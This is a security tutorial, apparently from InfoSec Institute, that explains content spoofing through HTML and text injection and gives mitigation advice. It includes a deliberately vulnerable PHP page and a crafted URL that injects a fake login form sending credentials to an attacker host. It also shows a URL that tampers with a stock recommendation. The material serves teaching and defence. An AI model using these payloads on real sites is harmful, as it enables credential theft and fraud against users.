Content Spoofing
According to WhiteHat Security's annual study of about 15,000 websites, 86% had at least one serious hole that hackers could exploit, and content spoofing is one such prevalent vulnerability, identified in over half of the sites. The top 15 vulnerability classes for websites are said to be information leakage, XSS (cross site scripting), SQL injection, CSRF (cross site request forgery), brute force, content spoofing, insufficient transport layer protection, insufficient authorization, fingerprinting, session fixation, URL redirection, direction indexing, abuse of functionality, predictable resource location, and finally, response splitting.
[caption id="" align="alignnone" width="620"] Click to Enlarge[/caption]
FREE role-guided training plans
Content spoofing is a type of exploit used by a malicious attacker to present a fake or modified website to the victim as if it were legitimate. Content spoofing often exploits an established trust relationship between a user of the web service and an organization. The intent is typically to defraud victims, although sometimes the actual purpose may be to simply misrepresent the origination or an individual.
This technique is also referred to as content injection or virtual defacement, according to the OWASP group. This attack is generally used as, or in conjunction with, social engineering (e.g., via e-mail or any social networking sites). This attack is developed by exploiting a code-based vulnerability and the user's trust. In some cases, an attacker may modify information and links in an established website by alerting content on the server. The later one is more difficult to detect by a user, since there is no readily apparent difference to the casual observer.
When a web application does not properly handle the data that is supplied by the user, an attacker can supply the content to the web application by modifying a parameter value, which in return is reflected back to the user of the web application. The most dangerous form of content spoofing is done with DHTML (dynamic HTML) content sources such as fill-in forms and login forms. When a web-page with spoofed content is viewed by an internet user, the URL bar displays a legitimate URL, although it isn't. As a result, when the user of the website enters sensitive information such as username, password, birth date, credit card details, or SSN (Social Security Number), the attacker can obtain this victim's data for identity theft or other malicious purposes.
Difference between Content Spoofing and XSS
According to OWASP, content spoofing is an attack that is closely related to cross site scripting (XSS). While XSS uses <script> and similar techniques to run JavaScript, content spoofing uses other techniques to modify the pages for malicious reasons.
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text-based spoofing attacks.
Following examples Demonstrate Content-Spoofing Attacks
-
HTML (hypertext markup language) injection
A possible attack scenario is demonstrated below:
-
First the attacker finds a site which is vulnerable to HTML injection.
-
The attacker sends an URL with malicious code injected in the URL to the user of the website (victim) via e-mail or some other social networking site.
-
The user visits the page because the page is located within the trusted domain.
-
When the victim accesses the page, the injected HTML code is rendered and presented to the user asking for username and password.
-
The username and password are both sent to the attacker's server.
-
Let's see a small demonstration:
The following PHP code contains HTML injection vulnerability via the e-mail parameter:
Form.html
[html]</pre>
<h1> INFOSEC INSTITUTE</h1>
<form action="get">
<input type="text" name="name" />
<input type="submit" value="submit name" />
</form>
[/html]
This is how it looks:
[caption id="" align="alignnone" width="619"] Click to Enlarge[/caption]
Name.php
[php]
<!--?php $name = $_REQUEST ['name']; ?--></pre>
<h1>Welcome to Infosec Institute</h1>
<pre>
How can we help you ?
[/php]
This is how it looks:
[caption id="" align="alignnone" width="620"] Click to Enlarge[/caption]
Notice the URL, the name is passed to name.php via the GET parameter.
Now let's perform HTML injection in the page and create a malicious URL.
The crafted URL will look like this:
localhost/name.php?name=Bhavesh<form action="http://attackers/log.php" method="post">Username<input type="text" name="user"><br>password<input type="password" name="pass"><input type="submit"></form>
[caption id="" align="alignnone" width="621"] Click to Enlarge[/caption]
By requesting the above link, the page renders the injected HTML code by displaying a login form. Once a victim enters the username and password, the credentials are sent to log.php on the attacker's server via POST method.
-
Text-based injection
This is another method of content spoofing wherein the attacker displays false information to the victim. The injection is carried out in a similar fashion to HTML injection; the only difference is, instead of HTML tags, the crafted URL is created by adding or changing the actual data with a false one.
A possible attack scenario is shown below:
-
The attacker identifies a vulnerable website, which gives recommendations to its users whether they should buy the stocks or not.
-
The attacker crafts the URL by slightly modifying the valid request into a malicious one.
-
The malformed page request link is sent to the user of the website via IM, email, or a social networking site.
-
A valid web page renders the injected textual content and displays false information to the victim.
-
The valid URL looks like this:
localhost/stock.php?id=1234&rec=We%20recommend%20you%20to%20buy%20these%20stocks
[caption id="" align="alignnone" width="619"] Click to Enlarge[/caption]
Malformed URL will looks like this:
localhost/stock.php?id=1234&rec=We%20recommend%20you%20to%20sell%20these%20stocks
[caption id="" align="alignnone" width="620"] Click to Enlarge[/caption]
Notice the malformed URL. By changing the contents within the URL for the rec parameter, the output on the page is also changed. This is a serious issue, since it deals with the monetary system. Such a flaw can lead to heavy loss to the victim economically.
Avoiding Such Attacks
Best practices to prevent such attacks are within the programming/development phase itself. These practices include:
-
Validation of user input for type, length, data-range, format, etc.
-
Encoding any user input that will be output by the web application.
-
Use of POST parameter if possible.
-
Before deployment of any web application on the actual server, test it with web vulnerability scanners, e.g. Acunetix, etc.
Practices to Be Followed by Users
FREE role-guided training plans
-
Don't click on links circulated via social networking sites (SNS), IM, e-mail.
-
Always verify that the source is legitimate.
-
Check the URL, even though the URL seems legitimate; it may have been sent by an attacker. It is advisable to first visit the domain name of the service and then navigate to the desired page.
References: